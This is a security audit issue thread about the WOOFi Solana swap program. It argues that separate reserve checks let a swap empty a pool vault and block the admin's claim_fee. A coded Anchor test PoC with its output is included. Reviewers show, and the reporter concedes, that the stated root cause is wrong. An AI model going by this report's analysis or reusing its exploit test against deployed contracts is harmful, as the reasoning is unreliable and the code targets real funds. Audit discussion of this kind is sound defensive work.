pashap9990 - claim_fee will be reverted because of insufficient balance

[sherlock-admin4]

pashap9990

High

claim_fee will be reverted because of insufficient balance

Summary

woopool_to'reserve and woopool_quote'reserve will be checked in every swap to has enough balance for user's swap and fee the protocl but mailicious user can bypass this constraints

Root Cause

swap_fee and to_amount compare with woopool_quote'reserve and woopool_to'reserve seperately which can be problematic

Internal pre-conditions

woopool_to's reserve = 990
fee_rate = 1%
price=$1
user's from_amount = 1000

PoC

user calls swap function with this parameters
[
woopool_from : woopool_usdt
woopool_to : woopool_usdc
woopool_quote: woopool_usdc
from_amount: 1000 usdt
min_to_amount:990 usdc
]

quote_amount = base_amount * price = 1000 * 1 = 1000 usdc
fee_swap = quote_amount * fee_rate = 1000 * 1/100 = 10 usdc
quote_amount = quote_amount - fee_swap = 1000 - 10 = 990 usdc

pub fn handler(ctx: Context<Swap>, from_amount: u128, min_to_amount: u128) -> Result<()> {
    let price_update_from = &mut ctx.accounts.price_update_from;
    let price_update_to = &mut ctx.accounts.price_update_to;
    ...
    if woopool_from.token_mint != woopool_from.quote_token_mint {
        require!(
@>>>            woopool_quote.reserve  >= swap_fee && quote_token_vault.amount as u128 >= swap_fee,
            ErrorCode::NotEnoughOut
        );
        ...
    require!(
@>>>         woopool_to.reserve >= to_amount && token_vault_to.amount as u128 >= to_amount,
         ErrorCode::NotEnoughOut
     );
        );
    }

both constraints will be passed because 990 is greater than 10 and also is greater and equal 990
finally 990 usdc sent to user from usdcpool its mean woopool_to reserve become 0 and after that, the admin calls claim_fee but his transaction will be reverted becuase token vault balance is zero[pool_reserve = 0, unclaimed_fee = 10 usdc,token_value_amount = 0]

Code Snippet

https://github.com/sherlock-audit/2024-08-woofi-solana-deployment/blob/main/WOOFi_Solana/programs/woofi/src/instructions/swap.rs#L156

https://github.com/sherlock-audit/2024-08-woofi-solana-deployment/blob/main/WOOFi_Solana/programs/woofi/src/instructions/swap.rs#L183

https://github.com/sherlock-audit/2024-08-woofi-solana-deployment/blob/main/WOOFi_Solana/programs/woofi/src/instructions/admin/claim_fee.rs#L41

Impact

claim_fee will be reverted because of insufficient balance

Mitigation

+            woopool_quote.reserve  >= swap_fee && quote_token_vault.amount as u128 >= swap_fee,
+            ErrorCode::NotEnoughOut
+        );
+    }
+
+    if(woopool_quote.key() == woopool_to.key()){
+        require!(
+            woopool_quote.reserve  >= swap_fee + quote_amount && quote_token_vault.amount as u128 >= swap_fee + quote_amount,
             ErrorCode::NotEnoughOut
         );

[toprince]

Need more input to see whether the attack is valid.
CPI faile will revert all the tx.

[rickkk137]

@toprince
Textual PoC:
Sol price = $100
usdc pool reserve = 99 usdc
sol pool fee rate = 1%[1e3]

• admin deposits 99 usdc in usdc pool[token_vault_usdc = 99 usdc]
• admin sets sol pool's fee rate 1%
• user swap 1 sol for usdc[token_vault_usdc = 0 usdc,unclaim_fee = 1 usdc]
• admin calls claimFee(transaction revert)

    require!(
    @>>>    woopool.unclaimed_fee > 0 && token_vault.amount as u128 > 0,
        ErrorCode::ProtocolFeeNotEnough
    );

Consider create a new file in test directory and place this test in that and then run anchor test

Coded PoC

import * as anchor from "@coral-xyz/anchor";
import { RebateManager } from "../target/types/rebate_manager";
import {BN, Program} from "@coral-xyz/anchor";
import {ConfirmOptions, SystemProgram} from "@solana/web3.js";
import * as token from "@solana/spl-token";
import {quotePriceUpdate, quoteTokenMint, solTokenMint, usdcTokenMint} from "../old/utils/test-consts";
import {getCluster} from "../old/global";
import {createAssociatedTokenAccount} from "../old/utils/token";
import { Woofi } from "../target/types/woofi";
import {usdcPriceUpdate, solPriceUpdate} from "../old/utils/test-consts";
import {PoolUtils} from "../old/utils/pool";
import { LAMPORTS_PER_SOL, Transaction, sendAndConfirmTransaction } from "@solana/web3.js";
import * as borsh from "borsh";
import { runQuery } from "../old/utils/pyth";
import { mintTo, TOKEN_PROGRAM_ID, createAccount, createMint, getOrCreateAssociatedTokenAccount } from '@solana/spl-token';
describe("swap", () => {
const tenpow15 = new BN(10).pow(new BN(15));
const tenpow18 = new BN(10).pow(new BN(18));

// Configure the client to use the local cluster.
const provider = anchor.AnchorProvider.env();

const keypair = anchor.web3.Keypair.fromSecretKey(
    Uint8Array.from([
        14, 134, 28, 211, 88, 74, 30, 241, 77, 166, 34,
        106, 198, 235, 100, 159, 82, 127, 72, 10, 101, 146,
        137, 83, 43, 25, 38, 10, 26, 217, 248, 64, 165,
        109, 48, 119, 128, 14, 170, 92, 99, 37, 71, 77,
        90, 116, 13, 67, 176, 214, 9, 47, 46, 103, 197,
        222, 76, 186, 193, 143, 114, 203, 154, 225
    ]),
)

// for swap test usage,
// swap payer wallet
const fromWallet = anchor.web3.Keypair.generate();

let signers: anchor.web3.Keypair[] = [fromWallet];
let ataSigner: anchor.web3.Keypair[] = [];
let payerWallet = provider.wallet;

const confirmOptionsRetryTres: ConfirmOptions = {maxRetries: 3, commitment: "confirmed"};
anchor.setProvider(provider);
const program = anchor.workspace.Woofi as Program<Woofi>;

const [wooConfigPDA, bump] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from("wooconfig")],
    program.programId
);
const poolUtils = new PoolUtils();
poolUtils.initEnv();
const usdcFeedAccount = poolUtils.usdcFeedAccount;
const solFeedAccount = poolUtils.solFeedAccount;





it("swap_fee_unclaim", async () => {
    await provider.connection.confirmTransaction(await provider.connection.requestAirdrop(fromWallet.publicKey, 100000000000));
    const mintSC = await createMint(
        provider.connection,
        fromWallet,
        fromWallet.publicKey,
        fromWallet.publicKey,
        6,
        anchor.web3.Keypair.generate(),
        null,
        TOKEN_PROGRAM_ID
    ); 

    const mockTokenAccount = await getOrCreateAssociatedTokenAccount(
        provider.connection,
        fromWallet,
        mintSC,
        fromWallet.publicKey
    ); 

    await mintTo(
        provider.connection,
        fromWallet,
        mintSC,
        mockTokenAccount.address,
        fromWallet,
        100000e6,
        [],
        undefined,
        TOKEN_PROGRAM_ID
    );


    await program
    .methods
    .createConfig()
    .accounts({
        authority: fromWallet.publicKey,
        wooconfig: wooConfigPDA,
        systemProgram: anchor.web3.SystemProgram.programId
    })
    .signers([fromWallet])
    .rpc(confirmOptionsRetryTres);

    const [wooracleUSDCPDA] = await anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('wooracle'), wooConfigPDA.toBuffer(), mintSC.toBuffer(), usdcFeedAccount.toBuffer(), usdcPriceUpdate.toBuffer()],
        program.programId
    );

    const [wopoolUSDCPDA] = await anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('woopool'), wooConfigPDA.toBuffer(), mintSC.toBuffer(), mintSC.toBuffer()],
        program.programId
    );

    const [wooracleSolPDA] = await anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('wooracle'), wooConfigPDA.toBuffer(), solTokenMint.toBuffer(), solFeedAccount.toBuffer(), solPriceUpdate.toBuffer()],
        program.programId
    );

    const [wopoolSOLPDA] = await anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from('woopool'), wooConfigPDA.toBuffer(), solTokenMint.toBuffer(), mintSC.toBuffer()],
        program.programId
    );

    await program.methods.createWooracle(new BN(10000))
        .accounts({
            wooconfig: wooConfigPDA,
            tokenMint: mintSC,
            wooracle: wooracleUSDCPDA,
            admin: fromWallet.publicKey,
            systemProgram: anchor.web3.SystemProgram.programId,
            feedAccount: usdcFeedAccount,
            priceUpdate: usdcPriceUpdate,
            quoteTokenMint: mintSC,
            quoteFeedAccount: usdcFeedAccount,
            quotePriceUpdate: usdcPriceUpdate

        }).signers([fromWallet])
        .rpc(confirmOptionsRetryTres)

        const tokenVaultUsdc = await anchor.web3.Keypair.generate();
        // //Usdcusdc Pool
        await program
            .methods
            .createPool()
            .accounts({
                wooconfig: wooConfigPDA,
                tokenMint: mintSC,
                quoteTokenMint: mintSC,
                authority: fromWallet.publicKey,
                woopool: wopoolUSDCPDA,
                tokenVault: tokenVaultUsdc.publicKey,
                wooracle: wooracleUSDCPDA,
                tokenProgram: token.TOKEN_PROGRAM_ID,
                systemProgram: anchor.web3.SystemProgram.programId
            })
            .signers([fromWallet, tokenVaultUsdc])
            .rpc(confirmOptionsRetryTres)    

        await program.methods.deposit(new BN(99e6))
            .accounts({
                wooconfig: wooConfigPDA,
                tokenMint: mintSC,
                authority: fromWallet.publicKey,
                tokenOwnerAccount: mockTokenAccount.address,
                woopool: wopoolUSDCPDA,
                tokenVault: tokenVaultUsdc.publicKey,
                tokenProgram: token.TOKEN_PROGRAM_ID,
            })
            .signers([fromWallet])
            .rpc(confirmOptionsRetryTres)
            
            
            const tokenVaultUSDC = await provider.connection.getTokenAccountBalance(tokenVaultUsdc.publicKey)
            console.log("amount_token_vault_usdc_balance:", tokenVaultUSDC.value.amount)
                
            const usdcPool = await program.account.wooPool.fetch(wopoolUSDCPDA)
            console.log("pool_reserve:", usdcPool.reserve.toNumber())


            await program
            .methods
            .createWooracle(new BN(1000))
            .accounts({
                wooconfig: wooConfigPDA,
                tokenMint: solTokenMint,
                wooracle: wooracleSolPDA,
                admin: fromWallet.publicKey,
                systemProgram: anchor.web3.SystemProgram.programId,
                feedAccount: solFeedAccount,
                priceUpdate: solPriceUpdate,
                quoteTokenMint: mintSC,
                quoteFeedAccount: usdcFeedAccount,
                quotePriceUpdate: usdcPriceUpdate
            })
            .signers([fromWallet])
            .rpc(confirmOptionsRetryTres)
        
        const tokenVaultSol = await anchor.web3.Keypair.generate();  

            await program
            .methods
            .createPool()
            .accounts({
                wooconfig: wooConfigPDA,
                tokenMint: solTokenMint,
                quoteTokenMint: mintSC,
                authority: fromWallet.publicKey,
                woopool: wopoolSOLPDA,
                tokenVault: tokenVaultSol.publicKey,
                wooracle: wooracleSolPDA,
                tokenProgram: token.TOKEN_PROGRAM_ID,
                systemProgram: anchor.web3.SystemProgram.programId
            })
            .signers([fromWallet, tokenVaultSol])
            .rpc(confirmOptionsRetryTres)




            //=======================pricing
            await program.methods.setWooBound(new BN("1000000000000000000").sub(new BN(1))).accounts({
                wooconfig:wooConfigPDA,
                wooracle: wooracleSolPDA,
                authority: fromWallet.publicKey
            }).signers([fromWallet])
            .rpc(confirmOptionsRetryTres)
            await program.methods
                .setWooRange(new BN(0), new BN(20000000000))
                .accounts({
                    wooconfig: wooConfigPDA,
                    wooracle: wooracleSolPDA,
                    authority: fromWallet.publicKey
                })
                .signers([fromWallet])
                .rpc(confirmOptionsRetryTres)

                await program
                .methods
                .setWooRange(new BN(0), new BN(20000000000))
                .accounts({
                    wooconfig: wooConfigPDA,
                    wooracle: wooracleUSDCPDA,
                    authority: fromWallet.publicKey
                })
                .signers([fromWallet])
                .rpc(confirmOptionsRetryTres)        
                



                await program
                        .methods
                        .setWooPrice(new BN(100e8))
                        .accounts({
                            wooconfig: wooConfigPDA,
                            wooracle: wooracleSolPDA,
                            authority: fromWallet.publicKey
                        })
                        .signers([fromWallet])
                        .rpc(confirmOptionsRetryTres)
                        
                        
                    
                        await program
                        .methods
                        .setWooPrice(new BN(1e8))
                        .accounts({
                            wooconfig: wooConfigPDA,
                            wooracle: wooracleUSDCPDA,
                            authority: fromWallet.publicKey
                        })
                        .signers([fromWallet])
                        .rpc(confirmOptionsRetryTres)          
                
        const priceResult = await program.account.wooracle.fetch(wooracleSolPDA)
        const priceResult2 = await program.account.wooracle.fetch(wooracleUSDCPDA)
        console.log("sol_price:", priceResult.price.toNumber())
        console.log("usdc_price:", priceResult2.price.toNumber())

        

        await program
                  .methods
                  .setPoolMaxNotionalSwap(new BN(100000e8))
                  .accounts({
                    wooconfig:wooConfigPDA,
                    woopool:wopoolSOLPDA,
                    authority: fromWallet.publicKey
                  })
                  .signers([fromWallet])
                  .rpc(confirmOptionsRetryTres);


                    
        const result = await program
                .methods
                .getPrice()
                .accounts({
                    wooconfig: wooConfigPDA,
                    oracle: wooracleSolPDA,
                    priceUpdate: solPriceUpdate,
                    quotePriceUpdate: usdcPriceUpdate
                })
                .rpc(confirmOptionsRetryTres)
        let t = await provider.connection.getTransaction(result, {
                    commitment: "confirmed",
                  })
              
                  const [key, data, buffer] = getReturnLog(t);
                  const reader = new borsh.BinaryReader(buffer);
                  const price = reader.readU128().toNumber();
                  const feasible = reader.readU8();
        console.log("sol_price:", price)
        console.log("sol_feasible", feasible)



        const result2 = await program
                .methods
                .getPrice()
                .accounts({
                    wooconfig: wooConfigPDA,
                    oracle: wooracleUSDCPDA,
                    priceUpdate: usdcPriceUpdate,
                    quotePriceUpdate: usdcPriceUpdate
                })
                .rpc(confirmOptionsRetryTres)
        let t2 = await provider.connection.getTransaction(result2, {
                    commitment: "confirmed",
                  })
              
                  const [key2, data2, buffer2] = getReturnLog(t2);
                  const reader2 = new borsh.BinaryReader(buffer2);
                  const price2 = reader2.readU128().toNumber();
                  const feasible2 = reader2.readU8();
        console.log("sol_price:", price2)
        console.log("sol_feasible", feasible2)
    const payerSolTokenAccount = await createAssociatedTokenAccount(
            provider,
            solTokenMint,
            fromWallet.publicKey,
            payerWallet.publicKey,
            ataSigner
          );  
        const usdcTokenAccount = await token.getAssociatedTokenAddressSync(mintSC, fromWallet.publicKey);
        const solTokenAccount = await token.getAssociatedTokenAddressSync(solTokenMint, fromWallet.publicKey);

        const transferTranscation = new Transaction().add(
            // trasnfer SOL to WSOL into ata account
            SystemProgram.transfer({
              fromPubkey: fromWallet.publicKey,
              toPubkey: solTokenAccount,
              lamports: 20e9,
            }),
            // sync wrapped SOL balance
            token.createSyncNativeInstruction(solTokenAccount)
          );

          await provider.sendAndConfirm(transferTranscation, signers, { commitment: "confirmed" });


          const tokenVaultUSDCBeforeSwap = await provider.connection.getTokenAccountBalance(tokenVaultUsdc.publicKey)
          console.log("amount_token_vault_usdc_balance_after:", tokenVaultUSDCBeforeSwap.value.amount)
        

        await program.methods.setPoolFeeRate(10e2).accounts({wooconfig:wooConfigPDA, woopool:wopoolSOLPDA, authority: fromWallet.publicKey}).signers([fromWallet]).rpc(confirmOptionsRetryTres)

        await program
            .methods
            .swap(new BN(1e9), new BN(0))
            .accounts({
                wooconfig: wooConfigPDA,
                tokenProgram: token.TOKEN_PROGRAM_ID,
                payer: fromWallet.publicKey,
                wooracleFrom: wooracleSolPDA,
                woopoolFrom: wopoolSOLPDA,
                tokenOwnerAccountFrom: solTokenAccount,
                tokenVaultFrom: tokenVaultSol.publicKey,
                priceUpdateFrom: solPriceUpdate,
                wooracleTo: wooracleUSDCPDA,
                woopoolTo: wopoolUSDCPDA,
                tokenOwnerAccountTo: usdcTokenAccount,
                tokenVaultTo: tokenVaultUsdc.publicKey,
                priceUpdateTo: usdcPriceUpdate,
                woopoolQuote: wopoolUSDCPDA,
                quotePriceUpdate: usdcPriceUpdate,
                quoteTokenVault: tokenVaultUsdc.publicKey,
                rebateTo: fromWallet.publicKey

            })
            .signers([fromWallet])
            .rpc(confirmOptionsRetryTres)

            const tokenVaultUSDCAfterSwap = await provider.connection.getTokenAccountBalance(tokenVaultUsdc.publicKey)
            console.log("amount_token_vault_usdc_balance_after:", tokenVaultUSDCAfterSwap.value.amount)

            const feeUSDCPoolAfter = await program.account.wooPool.fetch(wopoolUSDCPDA);
            console.log("unclaim_fee_after_swap:", feeUSDCPoolAfter.unclaimedFee.toNumber());
            const claimFeeTokenAccount = await token.getAssociatedTokenAddressSync(mintSC, fromWallet.publicKey);

            // await program.methods.claimFee().accounts({wooconfig:wooConfigPDA, woopool:wopoolUSDCPDA, authority: fromWallet.publicKey, tokenMint: mintSC, tokenVault: tokenVaultUsdc.publicKey, claimFeeToAccount: claimFeeTokenAccount, tokenProgram: token.TOKEN_PROGRAM_ID}).signers([fromWallet]).rpc(confirmOptionsRetryTres)
            





                


});

});

const getReturnLog = (confirmedTransaction) => {
const prefix = "Program return: ";
let log = confirmedTransaction.meta.logMessages.find((log) =>
log.startsWith(prefix)
);
log = log.slice(prefix.length);
const [key, data] = log.split(" ", 2);
const buffer = Buffer.from(data, "base64");
return [key, data, buffer];
};

result:
amount_token_vault_usdc_balance: 99000000
pool_reserve: 99000000
sol_price: 10000000000
usdc_price: 100000000
sol_price: 10000000000
sol_feasible 1
sol_price: 100000000
sol_feasible 1
amount_token_vault_usdc_balance_before: 99000000
@>>> amount_token_vault_usdc_balance_after: 0
@>>> unclaim_fee_after_swap: 1000000
    ✔ swap_fee_unclaim (10150ms)


  1 passing (10s)

✨  Done in 11.93s.

[rodiontr]

#4 and #6 are duplicates of this or this issue is duplicate of those

[rickkk137]

#4 isn’t a dup of this issue becuase that states

Such checking can block receiving swap_fees if the quote_token_vault.amount is smaller than the fees

which is intended design and they want to be sure pool has enough reserve to pay swap fee

#6 isn’t dup of this issue because that states


It'll not be possible to claim fees for the owner as they are not transferred to the quote token vault upon the swap.

which is intened design and also they don’t need to directly send swap fee to vault

sponsor comment:

It's being designed this way, and it's correct behavior. Intentionally added an unclaimed_fee to avoid the transfer. (We actually did the swap fee transfer for every swap in V1, but found it gas inefficient)

[rodiontr]

#4 isn’t a dup of this issue becuase that states

Such checking can block receiving swap_fees if the quote_token_vault.amount is smaller than the fees

which is intended design and they want to be sure pool has enough reserve to pay swap fee

#6 isn’t dup of this issue because that states


It'll not be possible to claim fees for the owner as they are not transferred to the quote token vault upon the swap.

which is intened design and also they don’t need to directly send swap fee to vault

sponsor comment:

It's being designed this way, and it's correct behavior. Intentionally added an unclaimed_fee to avoid the transfer. (We actually did the swap fee transfer for every swap in V1, but found it gas inefficient)

Then explain how will your attack vector described in this issue happen ? claim_fees cannot just revert if my issues are invalid. I would argue that my issue is the main and yours is a duplicate or yours is invalid as it does not indicate at a core underlying issue

[rickkk137]

root cause in this issue and #73 is same and also u can run provided PoC to be sure

[rodiontr]

root cause in this issue and #73 is same and also u can run provided PoC to be sure

it does not look like it's a duplicate of what you say in your finding. In your poc that's exactly what happens - token vault has not enough funds when user tries to claim and you fail to explain why this happens

[S3v3ru5]

I do not consider this issue as a duplicate for #73.

The root cause mentioned in this report is

swap_fee and to_amount compare with woopool_quote'reserve and woopool_to'reserve seperately which can be problematic

This report does not mention anything that's related to the issue in #73.

I would even consider this report to be invalid.

The checks of minimum reserve only serve as sanity checks. I agree that doing these separately on the woopool_to and woopool_quote is wrong and these checks should be combined. However, the swap should fail under the conditions mentioned in the report irrespective of the checks.

The report considers condition where the to-pool is the quote-pool and has reserves such that

to_amount <= to_pool.reserve < to_amount + swap_fee

The report says that after the transfer of to_amount, the to_pool will not have enough reserve to cover the swap_fee.

The report completely ignores the deduction of to_amount and swap_fee from the reserves

https://github.com/sherlock-audit/2024-08-woofi-solana-deployment/blob/1c4c9c622e8c44ae2f8cd4219c7c2a0181f25ca0/WOOFi_Solana/programs/woofi/src/instructions/swap.rs#L189-L193

Under the mentioned conditions in this report:

• quote-pool == to-pool
• to_amount <= to_pool.reserve < to_amount + swap_fee

The above code snippet would have reverted. If the reserve is not sufficient for swap_fee after the to_amount deduction, then the line L193 will revert

https://github.com/sherlock-audit/2024-08-woofi-solana-deployment/blob/1c4c9c622e8c44ae2f8cd4219c7c2a0181f25ca0/WOOFi_Solana/programs/woofi/src/instructions/swap.rs#L193

    woopool_quote.sub_reserve(swap_fee).unwrap();

Anyone following the textual PoC would not agree with the issue after considering the above code snippet.

The coded PoC only works because of the issue #73. If #73 is not present then the coded PoC would have reverted because of the deduction from the reserves.

This report was the exact reason I had the following conversation with the judge @WangSecurity :

In conclusion:

• I do not consider this issue to be a duplicate of S3v3ru5 - State changes are overwritten during anchor serialization when two accounts are the same #73
• I consider this report to be invalid. The mentioned root-cause does not lead to the impact shown. The report misunderstood the function and fails to explain the reason for the behavior shown in the PoC

[rickkk137]

@S3v3ru5 I agree with u my issue isn't valid because I haven't mentioned root cause in my issue